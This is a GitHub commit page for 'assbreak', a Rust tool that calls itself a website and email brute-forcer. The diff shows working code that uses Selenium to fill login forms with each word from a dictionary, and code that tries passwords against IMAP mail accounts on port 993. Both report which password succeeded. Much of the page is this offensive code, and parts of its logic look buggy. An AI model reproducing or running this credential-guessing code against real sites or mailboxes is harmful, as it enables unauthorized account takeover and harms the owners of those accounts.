Skip to content
This repository has been archived by the owner on Jun 8, 2021. It is now read-only.

Commit

Permalink
Merge pull request #10 from L14ms111/dev
Browse files Browse the repository at this point in the history
0.1.10b, susceptible d'avoir des bugs -> très lent surtout :(
  • Loading branch information
l1444 authored Dec 3, 2020
2 parents fa1f695 + df8a520 commit d42b289
Show file tree
Hide file tree
Showing 7 changed files with 193 additions and 88 deletions.
4 changes: 2 additions & 2 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
[package]
name = "assbreak"
version = "0.1.9"
version = "0.1.10"
authors = ["L14ms1 <l14ms1@outlook.fr>"]
description = "a tool that helps brute-force a website."
description = "a tool that helps brute-force a website and address mail."
documentation = "https://github.com/L14ms111/assbreak"
homepage = "https://github.com/L14ms111/assbreak"
repository = "https://github.com/L14ms111/assbreak"
Expand Down
84 changes: 45 additions & 39 deletions src/brute.rs
Original file line number Diff line number Diff line change
Expand Up @@ -7,11 +7,10 @@ use std::time::Duration;
// extern
use selenium_webdriver::*;


// local
use super::func::*;

pub fn brute_force(website: String, username: String, password: String, button: String, user: String, dictionary: String,show_chrome: bool) {
pub fn brute_force(website: String, username: String, password: String, button: String, user: String, dictionary: String, key: String,show_chrome: bool) {
if website != "" && username != "" && password != "" && button != "" && user != "" && dictionary != "" {
if Path::new(dictionary.trim()).exists() {
let mut args = vec![];
Expand All @@ -22,76 +21,83 @@ pub fn brute_force(website: String, username: String, password: String, button:
}
let mut driver = Browser::start_session(BrowserName::Chrome, args);
let _ = driver.open(&*website).unwrap();
let mut list_word = vec![String::from("")];
if let Ok(lines) = read_lines(dictionary.trim()) {
let mut attempt = 0;
for line in lines {
if let Ok(pass) = line {
let _ = thread::sleep(Duration::new(1, 0));
let input_username = driver.find_element(LocatorStrategy::CSS(string_to_static_str(username.clone()))).unwrap();
let _ = input_username.send_keys(&*user);
let input_password = driver.find_element(LocatorStrategy::CSS(string_to_static_str(password.clone()))).unwrap();
let _ = input_password.send_keys(&*pass);
let btn = driver.find_element(LocatorStrategy::CSS(string_to_static_str(button.clone()))).unwrap();
attempt += 1;
let _ = btn.click();
let _ = driver.open(&*website).unwrap();
let mut link: String = driver.get_link().unwrap();
let _ = driver.refresh();
let _ = thread::sleep(Duration::new(2, 0));
link = driver.get_link().unwrap();
if website != link {
println!("[!] [TRIED] => SUCCESS | [PASSWORD] => {}, [USERNAME] => {}, ATTEMPT => {}", String::from(pass), user, attempt);
let _ = driver.close_browser();
pause();
break;
} else {
println!("[!] [TRIED] => FALSE | [PASSWORD] => {}, [USERNAME] => {}, ATTEMPT => {}", String::from(pass), user, attempt);
continue;
if pass.contains(&key) && list_word[attempt] != pass {
let _ = thread::sleep(Duration::new(1, 0));
let input_username = driver.find_element(LocatorStrategy::CSS(string_to_static_str(username.clone()))).unwrap();
let _ = input_username.send_keys(&*user);
let input_password = driver.find_element(LocatorStrategy::CSS(string_to_static_str(password.clone()))).unwrap();
let _ = input_password.send_keys(&*pass);
let btn = driver.find_element(LocatorStrategy::CSS(string_to_static_str(button.clone()))).unwrap();
attempt += 1;
list_word.push(pass.clone());
let _ = btn.click();
let _ = driver.open(&*website).unwrap();
let mut link: String = driver.get_link().unwrap();
let _ = driver.refresh();
let _ = thread::sleep(Duration::new(2, 0));
link = driver.get_link().unwrap();
if website != link {
println!("[!] [TRIED] => SUCCESS | [PASSWORD] => {}, [USERNAME] => {}, ATTEMPT => {}", String::from(pass), user, attempt);
let _ = driver.close_browser();
pause();
break;
} else {
println!("[!] [TRIED] => FALSE | [PASSWORD] => {}, [USERNAME] => {}, ATTEMPT => {}", String::from(pass), user, attempt);
continue;
}
}
}
}
}
} else {
println!("[!] The file ({:?}) You put does not exist :/", dictionary);
println!("[!] [ERROR] The file ({:?}) You put does not exist :/", dictionary);
pause();
}
} else {
println!("[!] Please complete all fields ...");
println!("[!] [ERROR] Please complete all fields ...");
pause();
}
exit(0);
}


pub fn brute_force_email(mail: String, dictionary: String, imap_address: String) {
pub fn brute_force_email(mail: String, dictionary: String, key: String, imap_address: String) {
if mail != "" && dictionary != "" && imap_address != "" {
if Path::new(dictionary.trim()).exists() {
if let Ok(lines) = read_lines(dictionary.trim()) {
let list_word = vec![String::from("")];
let mut attempt = 0;
for line in lines {
if let Ok(pass) = line {
attempt += 1;
let tls = native_tls::TlsConnector::builder().build().unwrap();
let client = imap::connect((imap_address.as_str(), 993), imap_address.as_str(), &tls).unwrap();
match client.login(mail.clone(), pass.clone()) {
Ok(_) => {
println!("[!] [TRIED] => SUCCESS | [PASSWORD] => {}, [E-MAIL] => {}, ATTEMPT => {}", &pass, mail, attempt);
pause();
break;
}
Err(_) => {
println!("[!] [TRIED] => FALSE | [PASSWORD] => {}, [E-MAIL] => {}, ATTEMPT => {}", &pass, mail, attempt);
if pass.contains("") && list_word[attempt] != pass {
let tls = native_tls::TlsConnector::builder().build().unwrap();
let client = imap::connect((imap_address.as_str(), 993), imap_address.as_str(), &tls).unwrap();
attempt += 1;
match client.login(mail.clone(), pass.clone()) {
Ok(_) => {
println!("[!] [TRIED] => SUCCESS | [PASSWORD] => {}, [E-MAIL] => {}, ATTEMPT => {}", &pass, mail, attempt);
pause();
break;
}
Err(_) => {
println!("[!] [TRIED] => FALSE | [PASSWORD] => {}, [E-MAIL] => {}, ATTEMPT => {}", &pass, mail, attempt);
}
}
}
}
}
}
} else {
println!("[!] The file ({:?}) You put does not exist :/", dictionary);
println!("[!] [ERROR] The file ({:?}) You put does not exist :/", dictionary);
pause();
}
} else {
println!("[!] Please complete all fields ...");
println!("[!] [ERROR] Please complete all fields ...");
pause();
}
exit(0);
Expand Down
24 changes: 12 additions & 12 deletions src/config.rs
Original file line number Diff line number Diff line change
Expand Up @@ -4,42 +4,42 @@ use super::brute::brute_force;
///
/// default_config => field username : input[type=text] && field password : input[type=password] && button : input[type=button]
///
pub fn default_config(addr: String, username: String, dictionary: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=text]"), String::from("input[type=password]"), String::from("input[type=submit]"), username, dictionary, show_chrome);
pub fn default_config(addr: String, username: String, dictionary: String, key: String, show_chrome: bool) {
brute_force(addr, String::from("input[type=text]"), String::from("input[type=password]"), String::from("input[type=submit]"), username, dictionary, key, show_chrome);
}

///
/// config_field_email => field username : input[type=email] && field password : input[type=password] && button : input[type=button]
///
pub fn config_field_email(addr: String, username: String, dictionary: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=email]"), String::from("input[type=password]"), String::from("input[type=submit]"), username, dictionary, show_chrome);
pub fn config_field_email(addr: String, username: String, dictionary: String, key: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=email]"), String::from("input[type=password]"), String::from("input[type=submit]"), username, dictionary, key, show_chrome);
}

///
/// config_field_button => field username : input[type=text] && field password : input[type=password] && button : <button>
///
pub fn config_field_button(addr: String, username: String, dictionary: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=text]"), String::from("input[type=password]"), String::from("button"), username, dictionary, show_chrome);
pub fn config_field_button(addr: String, username: String, dictionary: String, key: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=text]"), String::from("input[type=password]"), String::from("button"), username, dictionary, key, show_chrome);
}


///
/// config_field_email_button => field username : input[type=email] && field password : input[type=password] && button : <button>
///
pub fn config_field_email_button(addr: String, username: String, dictionary: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=email]"), String::from("input[type=password]"), String::from("button"), username, dictionary, show_chrome);
pub fn config_field_email_button(addr: String, username: String, dictionary: String, key: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=email]"), String::from("input[type=password]"), String::from("button"), username, dictionary, key, show_chrome);
}

///
/// config_button => field username : input[type=text] && field password : input[type=password] && button : button
///
pub fn config_button(addr: String, username: String, dictionary: String, button: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=text]"), String::from("input[type=password]"), button, username, dictionary, show_chrome);
pub fn config_button(addr: String, username: String, dictionary: String, key: String, button: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=text]"), String::from("input[type=password]"), button, username, dictionary, key, show_chrome);
}

///
/// config_email_button => field username : input[type=email] && field password : input[type=password] && button : button
///
pub fn config_email_button(addr: String, username: String, dictionary: String, button: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=email]"), String::from("input[type=password]"), button, username, dictionary, show_chrome);
pub fn config_email_button(addr: String, username: String, dictionary: String, key: String, button: String,show_chrome: bool) {
brute_force(addr, String::from("input[type=email]"), String::from("input[type=password]"), button, username, dictionary, key, show_chrome);
}
Loading

0 comments on commit d42b289

Please sign in to comment.